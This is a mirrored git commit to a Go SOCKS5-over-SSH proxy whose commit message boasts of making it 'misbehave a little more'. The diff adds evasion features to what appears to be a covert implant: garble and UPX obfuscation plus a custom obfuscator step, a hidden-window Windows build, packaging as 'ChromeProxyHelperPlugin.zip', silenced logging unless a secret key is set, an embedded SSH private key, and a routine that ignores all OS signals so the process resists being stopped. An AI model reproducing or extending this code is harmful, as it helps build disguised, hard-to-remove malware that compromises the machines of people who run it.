mirror of
https://github.com/xor-gate/go-socks5-ssh-proxy
synced 2026-03-22 22:06:35 +01:00
Add systemIgnoreAllSignals in release build when VMK is not used so we misbehave a little more
This commit is contained in:
1
Makefile
1
Makefile
@ -22,6 +22,7 @@ win: socks5-ssh-proxy.exe
|
||||
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
||||
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@
|
||||
upx $@
|
||||
go run cmd/upx-obfuscator/main.go $@
|
||||
goreleaser: resources $(GARBLE_BIN)
|
||||
goreleaser build --clean --snapshot --id win-release
|
||||
win-package: ChromeProxyHelperPlugin.zip
|
||||
|
||||
@ -8,6 +8,8 @@ type config struct {
|
||||
// In release builds the verbose mode is silenced when this key is given
|
||||
// verbose mode is force enabled. The key is read from the "VMK" environment
|
||||
// variable at startup.
|
||||
//
|
||||
// NOTE: This could be the sha256sum hex encoded string of the SSHPrivateKeyFile
|
||||
VerboseModeKey string
|
||||
|
||||
// SSH server user name
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
//go:build !release
|
||||
// +build !release
|
||||
|
||||
//
|
||||
package main
|
||||
|
||||
import "strings"
|
||||
|
||||
5
main.go
5
main.go
@ -135,6 +135,11 @@ func main() {
|
||||
|
||||
systemGetWellKnownBinaryPaths()
|
||||
|
||||
mainLoop()
|
||||
}
|
||||
|
||||
func mainLoop() {
|
||||
for {
|
||||
// TODO handle CTRL+C in debug and release + VMK modes
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
//go:build !release
|
||||
// +build !release
|
||||
|
||||
//
|
||||
package main
|
||||
|
||||
var resourceSSHPrivateKey string
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
//go:build release
|
||||
// +build release
|
||||
|
||||
//
|
||||
package main
|
||||
|
||||
import (
|
||||
@ -16,5 +15,6 @@ func init() {
|
||||
dontSilenceKey := os.Getenv("VMK")
|
||||
if dontSilenceKey != cfg.VerboseModeKey {
|
||||
systemRouteAllLogging(os.DevNull)
|
||||
systemIgnoreAllSignals()
|
||||
}
|
||||
}
|
||||
|
||||
18
system.go
18
system.go
@ -4,6 +4,7 @@ import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@ -92,3 +93,20 @@ func systemGetWellKnownBinaryPaths() []string {
|
||||
|
||||
return existingPaths
|
||||
}
|
||||
|
||||
func systemIgnoreAllSignals() {
|
||||
// Create a channel to receive OS signals.
|
||||
sigs := make(chan os.Signal, 1)
|
||||
|
||||
// Notify the signal channel for all signals (you can add more if needed)
|
||||
signal.Notify(sigs)
|
||||
|
||||
// This goroutine receives signals but does nothing with them.
|
||||
go func() {
|
||||
for sig := range sigs {
|
||||
// Signal received but ignored
|
||||
_ = sig
|
||||
log.Println("Received OS signal", sig)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user